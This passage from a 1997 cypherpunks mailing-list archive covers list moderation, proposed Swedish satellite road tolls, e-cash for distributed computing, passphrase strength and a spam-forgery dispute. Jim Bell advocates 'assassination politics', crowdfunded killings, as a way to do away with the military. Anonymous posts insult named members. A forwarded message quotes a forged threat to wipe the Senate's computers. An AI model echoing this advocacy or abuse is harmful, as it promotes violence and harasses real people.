University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 21:18:56 -0800 (PST)
To: sandfort@crl8.crl.com
Subject: Re: MODERATION
Message-ID: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	While I ultimately concluded it (or at least the manner of doing it)
was a bad idea, I am appreciative of the effort. I hope this won't discourage
you too much from trying out other (hopefully better) ideas.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@jolietjake.com>
Date: Sat, 8 Feb 1997 23:47:24 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051706.JAA01075@toad.com>
Message-ID: <199702090747.BAA19162@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702051706.JAA01075@toad.com> "Attila T. Hun" <attila@primenet.com> writes:

   From: "Attila T. Hun" <attila@primenet.com>
   Date: Wed, 05 Feb 97 14:41:32 +0000
   X-From-Line: attila@primenet.com  Thu Feb  6 15:02:07 1997
   X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil]
	   ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila@primenet.com" "<199702051706.JAA01075@toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U    Attila T. Hun     Feb  5   57/2456  " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil]
	   nil)
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk
   Lines: 57
   X-Gnus-Article-Number: 23   Fri Feb  7 00:40:14 1997

   -----BEGIN PGP SIGNED MESSAGE-----

   on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

   +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

   +>        In a "popular" anarchy, Jim Bell's assassination politics make
   +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

   +I guess I don't understand the distinction you are trying to make,
   +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
   +to distinguish  between "dictatorship of the few (or one)" and
   +"dictatorship of the many (perhaps a  majority)" but it didn't come out
   +very understandably.

   +Put simply, "anarchy is not the lack of order.  It is the lack of
   +_orders_."

       disagree. pure anarchy is not the lack of "orders" --pure anarchy 
       implies that everyone is imbued with that perfect sense of 
       responsibility.

   +>        anarchy is only possible in an ideal world where _everyone_ 
   +>    assumes not only responsibility for themselves, but for the common 
   +>    good.  no malice, no greed, no need for assassination politics....

   +No, that's traditional thinking and that's wrong.  See AP part 8. 
   +Freud  believed (as "everyone" else believed, even myself, before AP)
   +that anarchy  was inherently unstable.  But it ISN'T, if the tools of
   +AP are used to  stabilize it.  And no, no altruism is necessary for AP
   +to work as well; no  individuals are being asked to sacrifice
   +themselves for the common good.    Rather, they are given the
   +opportunity to work to achieve a reward offered,  cumulatively, by a
   +number of citizens.

       aah, but that is the difference between a _pure_ anarchy and a  
       _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
       that _noone_ lacks the necessary resonsibility to keep society 
       moving, each individual in their own niche.  As long as there is 
       perfect responsibility in a perfect anarchy, then there is no need 
       for AP.

       AP is a negative, or _punative_, influence; I might liken it to the 
       Catholic Church which is a religion of fear, and an instrument of
       political control.

   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.3i
   Charset: latin1
   Comment: No safety this side of the grave. Never was; never will be

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-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com><omega@bigeasy.com) 
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 23:16:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <01IF71TUZKSG9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	In reply to Dr. Agre's comment, I'd point out that one
normally has more than one insurance company to choose from...
not the case with governmentally-imposed road taxes.
	-Allen

From:	IN%"rre@weber.ucsd.edu"  9-FEB-1997 02:12:23.32
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Proposed satellite monitoring of car movements in Sweden

[If it wasn't taxes, it would be insurance.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.81

RISKS-LIST: Risks-Forum Digest  Thursday 6 February 1997  Volume 18 : Issue 81

----------------------------------------------------------------------

Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET)
From: Feliks Kluzniak <feliks@carlstedt.se>
Subject: Proposed satellite monitoring of car movements in Sweden

The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish
paper aimed at information technology professionals), contains an item that
might be of some interest to those RISKS readers who followed discussions
about automatic highway toll booths in the US and related subjects.

My (probably imperfect) translation follows.
   
  Car users will be be put in "feetcuffs"
  (written by Margaretha Sundstroem)
      
With the help of a new satellite system car users might pay different taxes,
depending on when and where they drive.  This is what the State
communications commission is said to be discussing.
      
According to (the newspaper) "Dagens Politik", the State communications
commission is discussing a proposal to use satellites for determining car
taxes in the future.  It is proposed that all of Sweden's 3.5 million cars
should be equipped with a little reader fastened to the instrument board.
Car users would then buy cards that can be inserted into the reader.  The
card would communicate with a satellite that would register where you drive
and for how long.  The car tax would then be withdrawn from the card.
      
The proposal has been put forward by the State institution for communication
analysis.  They estimate that just the Stockholm (tax) authorities would be
able to earn six billion crowns by using this system.
      
The costs for car users would thereby increase.

 - - - - 

The reference to "feetcuffs" (by analogy to "handcuffs" - ankle
shackles?)  is an allusion to radio transmitters that are irremovably
fastened to the ankles of some criminals in this country so that the
authorities can monitor their compliance with the rules of house arrest.

The word "communication" is meant to include car traffic etc.  The word
"billion" is given in its US meaning: a thousand million.

The risks?  Apart from the risks of having very complex systems
automatically determine how much you have to pay, there are the usual
privacy considerations. Some cry out "big brother".  Others say you are
already in this situation if you carry a cellular phone.

Feliks Kluzniak,  Carlstedt Research & Technology, Gothenburg

------------------------------

End of RISKS-FORUM Digest 18.81 
************************

Standard Risks reuse notice:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Agre <pagre@weber.ucsd.edu>
Date: Sun, 9 Feb 1997 06:34:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702091434.GAA02306@weber.ucsd.edu>
MIME-Version: 1.0
Content-Type: text/plain


You have plenty of choice.  If you don't like our country, move somewhere
else.

Phil




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sun, 9 Feb 1997 04:49:53 -0800 (PST)
To: coderpunks@toad.com
Subject: E-cash and distributed computing...
Message-ID: <199702091250.HAA04070@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain



This is probably not an original idea, but...

Here's a potential use for E-cash: a server that doles out Java 
apps to clients; the clients run the apps, calculating whatever 
results are needed, and uploads the results in return for E-cash
(perhaps a zero-knowledge proof that the result is accurate? another 
is to use only a trusted pool of registered and accountable users rather
than anonymous clients).

The server admins would be paid by those who need computations,
keeping a percentage and using the rest to be offered as E-cash to 
clients with spare computing power.

A lot of possibilities here... a configuration where a set price is 
offered for a computation (the user can check for the highest offer 
on a server, or refuse an offer below a certain amount).

Or maybe applets would only be doled out to systems that meet a 
certain criteria (minimum computing power).

A more complex system where 'bids' are placed based on computing 
power is possible too (those w/better systems would want more cash, 
or be willing to pay it).

Problem: open to forms of 'abuse' (imagine a sysadmin making 
E-cash using his employer's machines overnight).

It might make an interesting experimental project to work on.

--Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 9 Feb 1997 05:32:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702091313.IAA16263@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Mayo's IQ is lower than the belly 
of a pregnant snake.

         ,/         \,
        ((__,-,,,-,__)),
         `--)~   ~(--`
        .-'(       )`-,
        `~~`d\   /b`~~`
            |     |
            (6___6)
             `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 9 Feb 1997 06:01:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702091342.IAA16533@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


NEW ATTACK ON CP LIST


>Date: Sun, 9 Feb 1997 03:55:04 -0500
>From: Linda Thompson <lindat@iquest.net>
>To: robert@iquest.net
>Cc: aen-news@aen.org
>Subject: URGENT
>
>Someone is sending THREATS to the President and Senate and using *MY*
>name
>and account to do it.  One bounced and was sent to me.  You should be
>able
>to find out where it came from by the message I.D.  I think it is
>EXTREMELY
>important that you find out where this came from!!
>
>Also, earlier in the day, I got a message that I was subscribed by
>"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
>would
>bet that whoever did THAT also sent this message.
>
>Here's the threat message:
>
>Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
>Delivered-To: lindat@iquest.net
>Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
>Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
>  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
>Received: by fcaglp.fcaglp.unlp.edu.ar
>	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
>Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
>Subject: Returned mail: User unknown
>To: lindat@iquest.net
>X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
>Status: U
>
>   ----- Transcript of session follows -----
>550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
>
>   ----- Unsent message follows -----
>Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
>	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
>Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: lindat@iquest.net
>Return-Path: <lindat@iquest.net>
>Cc: Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
>        sessions@wrldnet.net, senator@shelby.senate.gov,
>        senator@bumpers.senate.gov, info@kyl.senate.gov,
>        Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
>        senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
>        senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
>        bob_graham@graham.senate.gov, connie@mack.senate.gov,
>        senator_coverdell@coverdell.senate.gov,
>senator@inouye.senate.gov,
>        tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
>        larry_craig@craig.senate.gov,
>dirk_kempthorne@kempthorne.senate.gov
>Cc: senator@moseley-braun.senate.gov, lugar@iquest.net,
>        wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
>        senator@breaux.senate.gov, senator@kennedy.senate.gov,
>        john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
>        senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
>        senator@levin.senate.gov, michigan@abraham.senate.gov,
>        mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
>        john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
>        senator@cochran.senate.gov, max@baucus.senate.gov,
>        conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
>        jesse_helms@helms.senate.gov
>Cc: senator@conrad.senate.gov, senator@dorgan.senate.gov,
>email@hagel96.com,
>        bob@kerrey.senate.gov, mailbox@gregg.senate.gov,
>        opinion@smith.senate.gov, frank_lautenberg@lautenberg.senate.gov,
>        torricel@torricelli.com, Senator_Bingaman@bingaman.senate.gov,
>        senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
>        senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
>        senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
>        senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
>        senator@wyden.senate.gov, senator@santorum.senate.gov,
>        senator_specter@specter.senate.gov,
>senator_chafee@chafee.senate.gov
>Cc: reed@collegehill.com, senator@thurmond.senate.gov,
>        senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
>        senator_thompson@thompson.senate.gov,
>senator_frist@frist.senate.gov,
>        senator@hutchison.senate.gov, senator@bennett.senate.gov,
>        senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
>        senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
>        vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
>        Senator_Gorton@gorton.senate.gov,
>russell_feingold@feingold.senate.gov,
>        senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
>        senator@rockefeller.senate.gov, mike@enzi.senate.gov,
>        craig@thomas.senate.gov
>Reply-To: lindat@iquest.net
>Return-Receipt-To: lindat@iquest.net
>Comment: Authenticated sender is <lindat@iquest.net>
>Subject: message to USSA Senate
>
>All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems.
>
>
>============================================
>
>Here's the message I got from the Cypherpunks list:
>
>Return-Path: <Majordomo-Owner@toad.com>
>Delivered-To: lindat@iquest.net
>Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000
>Received: from toad.com (140.174.2.1)
>  by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000
>Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
>MAA01758;
>Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Message-Id: <199702082009.MAA01758@toad.com>
>To: lindat@iquest.net
>From: Majordomo@toad.com
>Subject: Your Majordomo request results: subscribe cypherpunks
>Reply-To: Majordomo@toad.com
>X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee
>
>--
>
>Your request of Majordomo was:
>>>>> subscribe cypherpunks
>Succeeded.
>Your request of Majordomo was:
>>>>> 
>Your request of Majordomo was:
>>>>> 
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>TERRORISM INTELLIGENCE ANALYST
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 9 Feb 1997 09:13:42 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702091713.JAA05962@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 2/5/97 -0800, Sean Roach wrote:
>This time I have opted for a point by point.
>At 07:59 PM 2/5/97 -0800, jim bell wrote:

>>1.  Large numbers of potentially competent and useful people get put into 
>>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>>(Those people who still think military spending is really necessary 
>>obviously haven't read AP.)
>This point I can not argue with, at least not directly.  I do believe that
>the military way is wasteful of resources.

Notice, however, that "pre-AP-theory," there was never any "good" way to 
theorize getting rid of the military:  It always appeared that OUR military 
was needed to protect us against THEIR military.  AP fixes that problem.


> However, this is one area that
>has actually benefitted the lower-income bracket in that it gives them
>"inexpensive" (off-chance of death) access to good training.

"War is good business...Invest your son!"

There's no doubt that militaries look like a good deal to at least some 
fraction of the population.  However, as is usually true, the amount of 
money that could be saved if we didn't have to buy military junk would do 
just as well applied to other products or services.


>>2.  Large amounts of money are spent on military hardware, money which goes 
>>to fund  people who would otherwise develop useful products in the 
>>non-government private sector.
>Three things that promote technological growth, expansion, war, threat of war.
>As for expansion. we really have no where else to go.  As for war and threat
>of war, the computer was invented during a war, atomic energy was harnessed
>during war, the internet was created during threat of war.  Many
>advancements, though not all, come to benefit society later.  For that
>matter, steel was probably invented during a war as well, but I can't prove 
it.

I think that's a somewhat distorted way to look at it.  War drastically 
changes the economics associated with technical developments:  In WWII, 
millions of dollars became available for development of computers due to 
their ability to decrypt codes.  It is by no means surprising that suddenly 
making it 10x more affordable to buy computers (not by reducing their costs, 
but by raising the amount of money provided) would make computers appear to 
be the product of war.  

You may recall estimates (which are frequently re-quoted, BTW)that proposed 
that there would only be a market for (say) 5-10 computers in the world.  
That estimate is frequently cited as an example of how wrong they were, but 
in reality that estimate assumed pricing based on then-current costs, and 
they were probably accurate!  It is the _subsequent_ development of 
transistors which made those original estimates "wrong."


Nuclear power, similarly, was born in a flood of money for the same war.  
Expensive government installations, such as Los Alamos, NM, Hanford 
Washington, and Oak Ridge Tennessee were built for that purpose. Activities 
which would have been highly uneconomical during peacetime were suddenly 
worth doing.

If war makes technical development happen, it is only because of how 
supremely wasteful it is.  Useful things still get done, but they get done 
in a highly uneconomical fashion and _before_ they would normally be done in 
a non-war world.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Feb 1997 09:47:45 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: MODERATION
In-Reply-To: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu>
Message-ID: <32FE0D64.7C6F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> While I ultimately concluded it (or at least the manner of doing it)
> was a bad idea, I am appreciative of the effort. I hope this won't discourage
> you too much from trying out other (hopefully better) ideas.

Great idea, Allen.  The fox only ate *some* of the chickens first
time around, but let's train the fox a little, and then throw him
into the chicken coop for round two.  Like, fer sure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 10:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri?
Message-ID: <199702091821.KAA20567@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dead Vulgar K>rust< Of The Moment's police record is many times
longer than his prick (well, that's not hard).

      o_o
     (   )  Dead Vulgar K>rust< Of The Moment
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 9 Feb 1997 07:34:48 -0800 (PST)
To: Phil Agre <pagre@weber.ucsd.edu>
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
In-Reply-To: <199702091434.GAA02306@weber.ucsd.edu>
Message-ID: <Pine.GSO.3.95.970209103413.7958C-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


"Love it or leave it?"

bd

On Sun, 9 Feb 1997, Phil Agre wrote:

> You have plenty of choice.  If you don't like our country, move somewhere
> else.
> 
> Phil
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Sun, 9 Feb 1997 08:40:18 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Passphrase generation
Message-ID: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
I am wanting to learn how to generate a passphrase that is at least as 
strong as the IDEA algorithm.  I have looked several other places on the 
web for an answer to this, but they all had different things to say that 
didn't add up (no pun intended :).
The IDEA algorithm it seems is 2^128 =  3.402823669209e+38 = 16 bytes 
(charactors).
The charactor count seems kinda small (I am presuming the 16 charactors are 
truely random).
Indeed, 128(ASCII charactor set)^16 =  5.192296858535e+33.
Is my thinking right here?
Is it better to do this- 94(printable ASCII set)^20 =  2.901062411315e+39, 
yielding 20 charactors?

Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII 
nonsense in there for it not to be in any crack dictionaries, how random is 
that?  Is it only as random as the extra charactors you put in?  How would 
you calculate that?

Also, how many charactors do you have to add of a set to add its 
permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)?

Thanks, Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 08:20:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: On "spammers" and "anti-spammers"
In-Reply-To: <JL9u2D1w165w@bwalk.dm.com>
Message-ID: <L19u2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!dlv
From: dlv@bwalk.dm.com (Dr. Dimitri Vulis)
Newsgroups: news.admin.net-abuse.misc,news.admin.net-abuse.e-mail,news.groups,news.admin.misc,news.admin.censorship,alt.fan.karl-malden.nose,soc.culture.russian
Subject: On "spammers" and "anti-spammers"
Message-ID: <JL9u2D1w165w@bwalk.dm.com>
Date: Sun, 09 Feb 97 10:52:06 EST
Organization: Death Camp #6

Several days ago one Robert Hicks, DM Group, Direct Marketing Management, 2774
National Pkwy, Brunswick, Ohio, retained one Thomas Gallman, Telysis
Communications Ltd, to do a mass e-mail for them. Unfortunately, Telesys made
a small typo when sending out their mass e-mail. DM Group's domain address is
"dm1.com" and our domain address is "dm.com" (no digit). That happens a lot,
and not always accidentally. Malcontents like Peter da Silva, Chris Lewis of
BNR.CA, John Gilmore of EFF/Cygnus Support, Ray Arachelian of Earthlink.com,
Sandy Sandfart of C2Net, Peter Vorobieff of LANL.GOV, and other well-known
liars and forgers intentionally forge garbage traffic on the Internet with
their enemies' domain names (including ours) and later complain about their
own forgeries.

I was surprised by Telysis's unintentional error, but I hold no grudge
against them. However as the result of their mass mailing our site has
received hundreds of flames from the self-appointed net.cops, ending up in
mailboxes "postmaster" and "orphan" (sent to a non-existent mailbox
"freeway@dm.com"). Many such flames were also sent to PSI, our upstream site.

I am fairly dissatisfied with the way PSI handled this and other incidents
involving forged traffic made to look like it came from dm.com. Their lines
include "we've been receiving a lot of complaints about you" (and it doesn't
matter whether any complaints are true) and "if you prove that this traffic
did not originate at your site, then we won't hold you responsible" and
"These messages are unwelcome intrusions that violate unwritten rules of the
Internet, and are strongly resented. Please confirm that you are aware of
these complaints and are taking measures to stop this practice."

I also noticed a sharp contrast between the polite letter send out by
dm1.com (who were trying to sell something, I presume; and you don't sell
anything if you're rude to prospective clients) and the obnoxious, obscene,
and threatening responses the net.cops sent to our site. I will quote a
selection of these complaints to illustrate the kind of abuse many ISPs are
subjected to. Please observe that one of the complainers claims to have
received "death threats" from a nonexistent account at our site, several
others claim to have received such junk e-mail from our site before, etc.

If your e-mail to dm.com is quoted below, please consider the following:
If someone sends you junk e-mail, it does not make it OK to send abusive
and threatening e-mail to (what you believe to be) the spammer's ISP.
Please try to use better manners, even when you deal with behavior that
you consider to be rude.

==========================================================================
Received: from localhost (vinylot@localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id PAA18512; Thu, 6 Feb 1997 15:19:07 -0500 (EST)
Date: Thu, 6 Feb 1997 15:19:07 -0500 (EST)
From: Vinylot <vinylot@panix.com>
To: freeway@dm.com
Cc: vinylot@panix.com, postmaster@dm.com
Subject: DEATH THREAT
In-Reply-To: <B0000010411@telysis3.telysis.com>
Message-Id: <Pine.SUN.3.94.970206151319.15438E-100000@panix.com>

Hey assholes why dont you configure yer  fuckin spam properly so that when
we try to remove ouselves from the list we don't get even more unwanted
email
you scumbags
==========================================================================
Received: from localhost (vinylot@localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id VAA23841; Thu, 6 Feb 1997 21:32:23 -0500 (EST)
Date: Thu, 6 Feb 1997 21:32:23 -0500 (EST)
From: Vinylot <vinylot@panix.com>
To: postmaster@bwalk.dm.com, postmaster@dm.com
Cc: vinylot@panix.com
Subject: In re: "Death Threat" *and* "Returned mail (fwd)"
Message-Id: <Pine.SUN.3.94.970206212030.21557A-100000@panix.com>

I see your customer has made themselves unreachable via email, in
addition to sending out extremely annoying spam...
I'm just sending this note to let u know that I *am not* making any death
threats.
Vinylot
==========================================================================
Received: (from semmett@localhost) by adams.patriot.net (8.7.4/8.7.3) id LAA11132; Thu, 6 Feb 1997 11:10:04 -0500
Date: Thu, 6 Feb 1997 11:10:03 -0500 (EST)
From: Steve Emmett <semmett@adams.patriot.net>
To: freeway@206.222.107.196, postmaster@telysis.com, abuse@telysis.com
        postmaster@telysis3.telysis.com, abuse@telysis3.telysis.com,
        freeway@dm.com
Cc: Steve Emmett <semmett@adams.patriot.net>
Subject: Re: FREE OFFER !!
In-Reply-To: <Pine.LNX.3.91.970206103706.8729A-100000@adams.patriot.net>
Message-Id: <Pine.LNX.3.91.970206104357.8729B-100000@adams.patriot.net>

I just sent you a rejection before realizing that YOU have already
spammed me and I have already given you a previous notice (28 January 1997).

Therefore, since you have SPAMMED me again, you have accepted the terms
of my licencing agreement you previously received from me - to wit, each
subsequent use (including this most recent one) are now subject to a
$1000 per-use fee.

You have failed to provide a valid US Postal Address as required by the
licence.  You will immediately provide the address so that I can send you
a bill.

Violation of this license agreement is cause for civil suit.

You are now on notice to immediately comply with the terms of the
licensing agreement.
==========================================================================
Received: by tfs.com (smail3.1.28.1)
Message-Id: <m0vsYnR-0003vzC@TFS.COM>
Date: Thu, 6 Feb 97 10:43 PST
From: hiha@TFS.COM (Harry Iha)
To: freeway@206.222.107.196, freeway@dm.com
Subject: Re:  FREE OFFER !!
Cc: admin@206.222.107.196, admin@dm.com, admin@dm1.com, hiha@TFS.COM,
        postmaster@206.222.107.196, postmaster@dm.com, postmaster@dm1.com

This is the second instance of this unsolicited, commercial e-mail
I've received.  The first was from Freeway4@dm1.com, the second,
identical message from what appears to be the same user.

Both times, I've responded, as instructed, to be removed from this
user's mailing list.

Please remove me from your current mailing list, and do not include
me in future lists.

Thank you for your cooperation.

hiha@tfs.com
==========================================================================
Received: from bubbas.vnet.net (vts-cat1-s1.vnet.net [166.82.120.221]) by jazzmin.vnet.net (8.7.6/8.7.3) with SMTP id IAA16984; Thu, 6 Feb 1997 08:52:06 -0500 (EST)
Message-Id: <1.5.4.32.19970206134940.0066f5f4@pop.vnet.net>
Date: Thu, 06 Feb 1997 08:49:40 -0500
To: freeway@dm.com, postmaster@dm.com, abuse@dm.com, admin@dm.com
From: Brantley Smith <bubbas@vnet.net>
Subject: FREE OFFER !!/ *GET A LIFE*!!

        Please do something to stop this spammer.  This is the second
message I've recieved from this dude.  The whole message is below.
==========================================================================
Received: from ioceram.jetcity.com (annex01-06.jetcity.com [204.201.228.106]) by jetcity.com (8.7.5/8.7.3) with SMTP id OAA21385; Thu, 6 Feb 1997 14:47:53 -0800
Message-Id: <199702062247.OAA21385@jetcity.com>
Comments: Authenticated sender is <ioceram@[204.201.228.10]>
From: "Bryce Conner" <stars@jetcity.com>
Organization: Procrastinate Later
To: postmaster@206.222.107.196, postmaster@dm.com
Date: Thu, 6 Feb 1997 14:47:43 +0000
Subject: (Fwd) FREE OFFER !!:   I want these mailings to stop immediately
Reply-To: stars@jetcity.com
Cc: bryce@jetcity.com

This user has repeatedly sent me unsolicited advertising, even after
I requested that they stop.   I consider this a clear example of
harrassment and net abuse.

I request that you warn your customer or take the proper
diciplinary action.   This kind of activity (SPAMMING) is extremely
frowned upon by the net in general, and one request to this person
